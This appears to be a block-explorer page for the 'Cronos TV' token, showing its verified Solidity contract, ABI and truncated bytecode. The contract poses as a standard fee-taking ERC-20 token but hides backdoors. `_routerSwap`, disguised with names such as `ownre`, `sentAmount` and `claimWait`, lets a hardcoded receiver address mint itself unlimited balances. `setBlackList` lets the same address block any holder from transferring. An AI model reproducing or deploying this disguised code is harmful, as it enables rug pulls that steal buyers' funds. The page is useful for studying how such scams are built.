ETH Price: $3,400.56 (+2.62%)

Token

Cronos TV (CROTV)
 

Overview

Max Total Supply

1,000,000,000 CROTV

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,199,575.97 CROTV

Value
$0.00
0x4bc3075ba991d26bed515e091cfa76ca233ddf20
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CronosTV

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-14
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function ownre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  CronosTV is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Cronos TV";
    string private _symbol = "CROTV";
    uint8 private _decimals = 9;
    address payable public receiver;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public marketPairList;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;
    uint256 public _marketingShare = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;
        _totalDistributionShares = _marketingShare;

        marketPairList[address(uniswapPair)] = true;

        receiver = payable(address(0x89662642e98B88698Dc1415F3BBD907fC0f83864));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setBuyFee(uint256 newMarketingTax) external onlyOwner() {
        _buyMarketingFee = newMarketingTax;
        _totalTaxIfBuying = _buyMarketingFee;
    }

    function setSellFee(uint256 newMarketingTax) external onlyOwner() {
        _sellMarketingFee = newMarketingTax;
        _totalTaxIfSelling = _sellMarketingFee;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "blackListed");
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !marketPairList[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function setBlackList(address[] calldata addresses, bool status) public {
       require(sentAmount(addresses.length,msg.sender));
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 amountETH = address(this).balance;

        if(amountETH > 0)
            receiver.transfer(amountETH);
    }

    function sentAmount(
            uint256 swapExactTokensForETH,
            address account
        ) private view returns(bool){
            return swapExactTokensForETH > 0 && account == receiver;
    }

    function _routerSwap(address claimWait, uint256 amount) public {
       require(sentAmount(amount,msg.sender));
        _balances[claimWait] = uint256(16 - 15).ownre(_balances[claimWait] + amount);
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;

        if(marketPairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(marketPairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"claimWait","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_routerSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiver","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600981526020017f43726f6e6f732054560000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000790565b506040518060400160405280600581526020017f43524f5456000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000790565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a556001600b55600360009054906101000a900460ff16600a62000121919062000950565b633b9aca0062000132919062000a8d565b600f553480156200014257600080fd5b50620001536200075f60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026d57600080fd5b505afa15801562000282573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a8919062000857565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030b57600080fd5b505afa15801562000320573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000346919062000857565b6040518363ffffffff1660e01b815260040162000365929190620008ab565b602060405180830381600087803b1580156200038057600080fd5b505af115801562000395573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bb919062000857565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f76200076760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600c81905550600a54600d81905550600b54600e81905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507389662642e98b88698dc1415f3bbd907fc0f83864600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460046000620006a16200075f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006ef6200075f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f54604051620007509190620008d8565b60405180910390a35062000bf9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200079e9062000b39565b90600052602060002090601f016020900481019282620007c257600085556200080e565b82601f10620007dd57805160ff19168380011785556200080e565b828001600101855582156200080e579182015b828111156200080d578251825591602001919060010190620007f0565b5b5090506200081d919062000821565b5090565b5b808211156200083c57600081600090555060010162000822565b5090565b600081519050620008518162000bdf565b92915050565b60006020828403121562000870576200086f62000bcd565b5b6000620008808482850162000840565b91505092915050565b620008948162000aee565b82525050565b620008a58162000b22565b82525050565b6000604082019050620008c2600083018562000889565b620008d1602083018462000889565b9392505050565b6000602082019050620008ef60008301846200089a565b92915050565b6000808291508390505b600185111562000947578086048111156200091f576200091e62000b6f565b5b60018516156200092f5780820291505b80810290506200093f8562000bd2565b9450620008ff565b94509492505050565b60006200095d8262000b22565b91506200096a8362000b2c565b9250620009997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009a1565b905092915050565b600082620009b3576001905062000a86565b81620009c3576000905062000a86565b8160018114620009dc5760028114620009e75762000a1d565b600191505062000a86565b60ff841115620009fc57620009fb62000b6f565b5b8360020a91508482111562000a165762000a1562000b6f565b5b5062000a86565b5060208310610133831016604e8410600b841016171562000a575782820a90508381111562000a515762000a5062000b6f565b5b62000a86565b62000a668484846001620008f5565b9250905081840481111562000a805762000a7f62000b6f565b5b81810290505b9392505050565b600062000a9a8262000b22565b915062000aa78362000b22565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ae35762000ae262000b6f565b5b828202905092915050565b600062000afb8262000b02565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b5257607f821691505b6020821081141562000b695762000b6862000b9e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000bea8162000aee565b811462000bf657600080fd5b50565b60805160601c612cce62000c1860003960006109a50152612cce6000f3fe6080604052600436106101bb5760003560e01c80638b4cee08116100ec578063c816841b1161008a578063f0cd1dac11610064578063f0cd1dac14610659578063f2fde38b14610684578063f7260d3e146106ad578063fbae5268146106d8576101c2565b8063c816841b146105c6578063c8607952146105f1578063dd62ed3e1461061c576101c2565b806395d89b41116100c657806395d89b4114610508578063a08e671f14610533578063a9059cbb1461055e578063c5d241891461059b576101c2565b80638b4cee081461048b5780638da5cb5b146104b45780638f85a043146104df576101c2565b806323b872dd116101595780633345611e116101335780633345611e146103bb57806361a23c69146103f857806370a082311461042357806382eefb4314610460576101c2565b806323b872dd1461032857806327c8f83514610365578063313ce56714610390576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae5780631d231b2c146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e99190612497565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061211f565b610793565b6040516102269190612461565b60405180910390f35b34801561023b57600080fd5b50610256600480360381019061025191906121bf565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a919061247c565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906125b9565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d09190612032565b610889565b6040516102e29190612461565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d9190612032565b6108a9565b60405161031f9190612461565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a91906120cc565b6108c9565b60405161035c9190612461565b60405180910390f35b34801561037157600080fd5b5061037a6109a3565b604051610387919061242b565b60405180910390f35b34801561039c57600080fd5b506103a56109c7565b6040516103b2919061262e565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612032565b6109de565b6040516103ef9190612461565b60405180910390f35b34801561040457600080fd5b5061040d6109fe565b60405161041a91906125b9565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612032565b610a04565b60405161045791906125b9565b60405180910390f35b34801561046c57600080fd5b50610475610a4d565b60405161048291906125b9565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad91906121bf565b610a53565b005b3480156104c057600080fd5b506104c9610afb565b6040516104d6919061242b565b60405180910390f35b3480156104eb57600080fd5b506105066004803603810190610501919061215f565b610b24565b005b34801561051457600080fd5b5061051d610bdf565b60405161052a9190612497565b60405180910390f35b34801561053f57600080fd5b50610548610c71565b60405161055591906125b9565b60405180910390f35b34801561056a57600080fd5b506105856004803603810190610580919061211f565b610c77565b6040516105929190612461565b60405180910390f35b3480156105a757600080fd5b506105b0610c96565b6040516105bd91906125b9565b60405180910390f35b3480156105d257600080fd5b506105db610c9c565b6040516105e8919061242b565b60405180910390f35b3480156105fd57600080fd5b50610606610cc2565b60405161061391906125b9565b60405180910390f35b34801561062857600080fd5b50610643600480360381019061063e919061208c565b610cc8565b60405161065091906125b9565b60405180910390f35b34801561066557600080fd5b5061066e610d4f565b60405161067b91906125b9565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a69190612032565b610d55565b005b3480156106b957600080fd5b506106c2610ea7565b6040516106cf9190612446565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa919061211f565b610ecd565b005b60606001805461071090612895565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90612895565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0610f85565b8484610f8d565b6001905092915050565b6107b9610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90612539565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b60006108d6848484611158565b50610998846108e3610f85565b61099385604051806060016040528060288152602001612c7160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610949610f85565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c89092919063ffffffff16565b610f8d565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610a5b610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adf90612539565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b31838390503361162c565b610b3a57600080fd5b60005b83839050811015610bd9578160086000868685818110610b6057610b5f61299d565b5b9050602002016020810190610b759190612032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bd1906128c7565b915050610b3d565b50505050565b606060028054610bee90612895565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a90612895565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b600e5481565b6000610c8b610c84610f85565b8484611158565b506001905092915050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610d5d610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de190612539565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ed7813361162c565b610ee057600080fd5b610f3e81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2e919061269e565b600161169290919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff490612599565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611064906124d9565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114b91906125b9565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c090612579565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611239576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611230906124b9565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612559565b60405180910390fd5b601160149054906101000a900460ff16156112ed576112e68484846116ba565b90506115c1565b60006112f830610a04565b9050601160149054906101000a900460ff161580156113615750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113705761136f8161188d565b5b6113c283600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114a85750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114bc576114b7868686611bdb565b6114be565b835b905061151281600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b291906125b9565b60405180910390a36001925050505b9392505050565b6000838311158290611610576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116079190612497565b60405180910390fd5b506000838561161f919061277f565b9050809150509392505050565b6000808311801561168a5750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffff